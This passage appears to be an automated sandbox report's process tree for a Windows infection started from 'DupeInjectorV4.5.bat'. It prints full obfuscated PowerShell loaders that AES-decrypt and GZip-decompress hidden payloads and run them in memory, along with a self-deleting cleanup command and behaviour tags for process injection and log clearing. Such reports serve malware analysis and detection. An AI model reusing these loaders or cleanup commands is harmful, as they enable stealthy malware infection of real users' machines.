'')('qADpJcCBr1LNAUCZ3JisYHyt+ZgduSphtBMu3t5sihilsPEwkYBOf0be7dvu1Msm5CmPvCO7GZMCQC2pRdek2LBxrAgkvuao4iZ5T1wsgof6YvIpZ9FIBo2WDnkX8FybispCdfJx+BsrWE8P3rVDZ3llWJX+9ly86hVXJAVL2fvcJa3h6e+VU96ozJwUJV/KN2JIAwjtRqjneipw3gj8dvfgH4xvEawMUx8+Bn+8Ah7lnvqHrfz7BvfYDDcBTjYlkKLJd3ps6XrB9rnkqD2A9MPi6JStTwXXFUYVRlIMdSrzQ28PFCVSBBLhN+/lJt1z3dZalyKBoMRNWiD5TPAgZLg3+2mEZRdj9PlYMhhxJ/huLWTO9vo8yaQSYo73x+UT+IWIUbR5zU3uViioUas8UtKawy+IhtPZROnEZcX9kxE=');$iXopn = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iXopn, 0, $iXopn.Length);$iXopn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iXopn);$hzsiU = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ApLAwO89i+krNOFqiOwVuQ==');$hzsiU = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hzsiU, 0, $hzsiU.Length);$hzsiU = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hzsiU);$iWBli = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Li7hqrk0Q5ZSUMn6FHwNCA==');$iWBli = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iWBli, 0, $iWBli.Length);$iWBli = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iWBli);$MPypQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5ryLjUG/zk2xsccBgVLmrA==');$MPypQ = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MPypQ, 0, $MPypQ.Length);$MPypQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MPypQ);$vEjcW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qp/x5s3agEA5ftbzObDh2w==');$vEjcW = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vEjcW, 0, $vEjcW.Length);$vEjcW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($vEjcW);$mErRf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qIiaXjfyCrYZDwtar3FnAA==');$mErRf = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mErRf, 0, $mErRf.Length);$mErRf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mErRf);$LTSaq0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rjRGt0V/KHJdau712pZwBg==');$LTSaq0 = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LTSaq0, 0, $LTSaq0.Length);$LTSaq0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LTSaq0);$LTSaq1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kfcSuF/0+8gA109vYnRkDA==');$LTSaq1 = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LTSaq1, 0, $LTSaq1.Length);$LTSaq1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LTSaq1);$LTSaq2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8iZvT81t38fNx+vJx2aQWA==');$LTSaq2 = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LTSaq2, 0, $LTSaq2.Length);$LTSaq2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LTSaq2);$LTSaq3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LFA2h4wDH0IgM0bz+dyUZA==');$LTSaq3 = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LTSaq3, 0, $LTSaq3.Length);$LTSaq3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LTSaq3);$EOmta.Dispose();$uoEAJ1.Dispose();if (@(get-process -ea silentlycontinue $LTSaq3).count -gt 1) {exit};$SWaIx = [Microsoft.Win32.Registry]::$vEjcW.$MPypQ($LTSaq).$iWBli($qQQJv);$sGlcF=[string[]]$SWaIx.Split('\');$FgGCq=gCgjZ(CAFkL([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($sGlcF[1])));cwMzC $FgGCq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$RpHoj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($sGlcF[0]);$uoEAJ = New-Object System.Security.Cryptography.AesManaged;$uoEAJ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$uoEAJ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$uoEAJ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vlurw6q3ppYQMdLVjgZh9Vk1oDyFfymar9QkJTl7yaY=');$uoEAJ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IyfCkQoYLtcu/Gm2ZVmHHg==');$DiAdW = $uoEAJ.('rotpyrceDetaerC'[-1..-15] -join '')();$RpHoj = $DiAdW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RpHoj, 0, $RpHoj.Length);$DiAdW.Dispose();$uoEAJ.Dispose();$WQmxo = New-Object System.IO.MemoryStream(, $RpHoj);$KxxmE = New-Object System.IO.MemoryStream;$UVdUC = New-Object System.IO.Compression.GZipStream($WQmxo, [IO.Compression.CompressionMode]::$LTSaq1);$UVdUC.$mErRf($KxxmE);$UVdUC.Dispose();$WQmxo.Dispose();$KxxmE.Dispose();$RpHoj = $KxxmE.ToArray();$fPYay = $iXopn | IEX;$XZQiZ = $fPYay::$LTSaq2($RpHoj);$DOwuk = $XZQiZ.EntryPoint;$DOwuk.$LTSaq0($null, (, [string[]] ($WTMAq)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1412
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{a251f182-7d94-4c0d-8d18-edbf2121ce4d}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3292
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1412).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CAFkL($cuamb){ $uoEAJ=[System.Security.Cryptography.Aes]::Create(); $uoEAJ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $uoEAJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $uoEAJ.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vlurw6q3ppYQMdLVjgZh9Vk1oDyFfymar9QkJTl7yaY='); $uoEAJ.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IyfCkQoYLtcu/Gm2ZVmHHg=='); $DiAdW=$uoEAJ.('rotpyrceDetaerC'[-1..-15] -join '')(); $pwjsm=$DiAdW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cuamb, 0, $cuamb.Length); $DiAdW.Dispose(); $uoEAJ.Dispose(); $pwjsm;}function gCgjZ($cuamb){ $WQmxo=New-Object System.IO.MemoryStream(,$cuamb); $KxxmE=New-Object System.IO.MemoryStream; $UVdUC=New-Object System.IO.Compression.GZipStream($WQmxo, [IO.Compression.CompressionMode]::Decompress); $UVdUC.CopyTo($KxxmE); $UVdUC.Dispose(); $WQmxo.Dispose(); $KxxmE.Dispose(); $KxxmE.ToArray();}function cwMzC($cuamb,$RYFFX){ $XZQiZ=[System.Reflection.Assembly]::Load([byte[]]$cuamb); $DOwuk=$XZQiZ.EntryPoint; $DOwuk.Invoke($null, $RYFFX);}$uoEAJ1 = New-Object System.Security.Cryptography.AesManaged;$uoEAJ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$uoEAJ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$uoEAJ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vlurw6q3ppYQMdLVjgZh9Vk1oDyFfymar9QkJTl7yaY=');$uoEAJ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IyfCkQoYLtcu/Gm2ZVmHHg==');$EOmta = $uoEAJ1.('rotpyrceDetaerC'[-1..-15] -join '')();$LTSaq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jYpPANZn3TWH8CxXX/5Oig==');$LTSaq = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LTSaq, 0, $LTSaq.Length);$LTSaq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LTSaq);$qQQJv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zmLWeTLcuckJRw84X6DXUaf+pqvsBV4DEbvMCoVAdjE=');$qQQJv = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qQQJv, 0, $qQQJv.Length);$qQQJv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qQQJv);$WTMAq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tZc398OLxYkOVJLUpt9Ojw==');$WTMAq = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WTMAq, 0, $WTMAq.Length);$WTMAq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WTMAq);$iXopn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qADpJcCBr1LNAUCZ3JisYHyt+ZgduSphtBMu3t5sihilsPEwkYBOf0be7dvu1Msm5CmPvCO7GZMCQC2pRdek2LBxrAgkvuao4iZ5T1wsgof6YvIpZ9FIBo2WDnkX8FybispCdfJx+BsrWE8P3rVDZ3llWJX+9ly86hVXJAVL2fvcJa3h6e+VU96ozJwUJV/KN2JIAwjtRqjneipw3gj8dvfgH4xvEawMUx8+Bn+8Ah7lnvqHrfz7BvfYDDcBTjYlkKLJd3ps6XrB9rnkqD2A9MPi6JStTwXXFUYVRlIMdSrzQ28PFCVSBBLhN+/lJt1z3dZalyKBoMRNWiD5TPAgZLg3+2mEZRdj9PlYMhhxJ/huLWTO9vo8yaQSYo73x+UT+IWIUbR5zU3uViioUas8UtKawy+IhtPZROnEZcX9kxE=');$iXopn = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iXopn, 0, $iXopn.Length);$iXopn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iXopn);$hzsiU = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ApLAwO89i+krNOFqiOwVuQ==');$hzsiU = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hzsiU, 0, $hzsiU.Length);$hzsiU = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hzsiU);$iWBli = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Li7hqrk0Q5ZSUMn6FHwNCA==');$iWBli = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iWBli, 0, $iWBli.Length);$iWBli = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iWBli);$MPypQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5ryLjUG/zk2xsccBgVLmrA==');$MPypQ = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MPypQ, 0, $MPypQ.Length);$MPypQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MPypQ);$vEjcW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qp/x5s3agEA5ftbzObDh2w==');$vEjcW = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vEjcW, 0, $vEjcW.Length);$vEjcW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($vEjcW);$mErRf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qIiaXjfyCrYZDwtar3FnAA==');$mErRf = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mErRf, 0, $mErRf.Length);$mErRf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mErRf);$LTSaq0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rjRGt0V/KHJdau712pZwBg==');$LTSaq0 = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LTSaq0, 0, $LTSaq0.Length);$LTSaq0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LTSaq0);$LTSaq1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kfcSuF/0+8gA109vYnRkDA==');$LTSaq1 = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LTSaq1, 0, $LTSaq1.Length);$LTSaq1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LTSaq1);$LTSaq2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8iZvT81t38fNx+vJx2aQWA==');$LTSaq2 = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LTSaq2, 0, $LTSaq2.Length);$LTSaq2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LTSaq2);$LTSaq3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LFA2h4wDH0IgM0bz+dyUZA==');$LTSaq3 = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LTSaq3, 0, $LTSaq3.Length);$LTSaq3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LTSaq3);$EOmta.Dispose();$uoEAJ1.Dispose();if (@(get-process -ea silentlycontinue $LTSaq3).count -gt 1) {exit};$SWaIx = [Microsoft.Win32.Registry]::$vEjcW.$MPypQ($LTSaq).$iWBli($qQQJv);$sGlcF=[string[]]$SWaIx.Split('\');$FgGCq=gCgjZ(CAFkL([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($sGlcF[1])));cwMzC $FgGCq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$RpHoj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($sGlcF[0]);$uoEAJ = New-Object System.Security.Cryptography.AesManaged;$uoEAJ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$uoEAJ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$uoEAJ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vlurw6q3ppYQMdLVjgZh9Vk1oDyFfymar9QkJTl7yaY=');$uoEAJ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IyfCkQoYLtcu/Gm2ZVmHHg==');$DiAdW = $uoEAJ.('rotpyrceDetaerC'[-1..-15] -join '')();$RpHoj = $DiAdW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RpHoj, 0, $RpHoj.Length);$DiAdW.Dispose();$uoEAJ.Dispose();$WQmxo = New-Object System.IO.MemoryStream(, $RpHoj);$KxxmE = New-Object System.IO.MemoryStream;$UVdUC = New-Object System.IO.Compression.GZipStream($WQmxo, [IO.Compression.CompressionMode]::$LTSaq1);$UVdUC.$mErRf($KxxmE);$UVdUC.Dispose();$WQmxo.Dispose();$KxxmE.Dispose();$RpHoj = $KxxmE.ToArray();$fPYay = $iXopn | IEX;$XZQiZ = $fPYay::$LTSaq2($RpHoj);$DOwuk = $XZQiZ.EntryPoint;$DOwuk.$LTSaq0($null, (, [string[]] ($WTMAq)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2200
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{a6d7f339-1a11-43f1-a2f0-7edd97cf6d92}
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4196
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{d82b9c49-0cb7-4ea8-903a-4093591ea72e}
        5⤵
        
        PID:5768
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{35885d2b-eaa2-482a-bbff-5d8eea2873dd}
        5⤵
        
        PID:5796
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{75d921c9-725e-4c06-9c29-feffa724bd79}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5804
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{d14d67d5-509e-442f-8186-3d17342c259f}
        5⤵
        
        PID:5628
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5628 -s 448
        6⤵
        Program crash
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5288
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{7c9fc2fa-244d-47bb-963f-ddf1d61b28d0}
        5⤵
        
        PID:5704
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{7ea0330a-cd68-4e8b-95c9-757f4abae97f}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2660
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 464
        6⤵
        Program crash
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:844
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{12d1e7f6-3cab-4ace-bede-b10a43e10bdc}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5376
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{6912a0e3-32b6-45ca-af4b-78c9f665fd5a}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1112

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1448
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1580

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1632

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2060

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2144

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2752

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3044

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3448

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DupeInjectorV4.5.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5084
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3052
- - C:\Users\Admin\AppData\Local\Temp\DupeInjectorV4.5.bat.exe
    "DupeInjectorV4.5.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function uulwY($TzUys){ $lslFz=[System.Security.Cryptography.Aes]::Create(); $lslFz.Mode=[System.Security.Cryptography.CipherMode]::CBC; $lslFz.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $lslFz.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r9V9gilig/txkP3Y+Hsi3X0A0+wWaFnY9d4xjUfoQOA='); $lslFz.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VLK9cJiv5N09aLMvS7jumA=='); $JldcK=$lslFz.CreateDecryptor(); $return_var=$JldcK.TransformFinalBlock($TzUys, 0, $TzUys.Length); $JldcK.Dispose(); $lslFz.Dispose(); $return_var;}function QBOfY($TzUys){ $fKcLa=New-Object System.IO.MemoryStream(,$TzUys); $MLolT=New-Object System.IO.MemoryStream; $VvRwz=New-Object System.IO.Compression.GZipStream($fKcLa, [IO.Compression.CompressionMode]::Decompress); $VvRwz.CopyTo($MLolT); $VvRwz.Dispose(); $fKcLa.Dispose(); $MLolT.Dispose(); $MLolT.ToArray();}function wqWVY($TzUys,$nYHwh){ $BmUgg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$TzUys); $LbCFu=$BmUgg.EntryPoint; $LbCFu.Invoke($null, $nYHwh);}$mKAYc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\DupeInjectorV4.5.bat').Split([Environment]::NewLine);foreach ($NPEyr in $mKAYc) { if ($NPEyr.StartsWith('SEROXEN')) { $ybKgn=$NPEyr.Substring(7); break; }}$diwrg=[string[]]$ybKgn.Split('\');$nRPSF=QBOfY (uulwY ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($diwrg[0])));$WNuow=QBOfY (uulwY ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($diwrg[1])));wqWVY $WNuow (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));wqWVY $nRPSF (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Checks computer location settings
    - Deletes itself
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2268
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{a757de9a-96d4-46e7-aa3a-18036d5500b1}
      4⤵
      PID:2380
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{203d2c9f-cc4f-4c4a-a9be-d270f43bfc59}
      4⤵
      PID:4108
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{31efa4a7-4691-4262-9263-5cfdb7a9346a}
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1528
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{a19dbe25-be6c-471e-8304-f3ab4f194b4c}
      4⤵
      PID:3488
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\DupeInjectorV4.5.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\DupeInjectorV4.5.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\DupeInjectorV4.5.bat.exe" & exit
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:4336
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:5864
    - - C:\Windows\system32\PING.EXE
        
        PING localhost -n 8
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5808
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\DupeInjectorV4.5.bat.exe"
        5⤵
        Kills process with taskkill
        
        PID:5680
    - - C:\Windows\system32\attrib.exe
        
        ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\DupeInjectorV4.5.bat.exe"
        5⤵
        Views/modifies file attributes
        
        PID:5724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3668

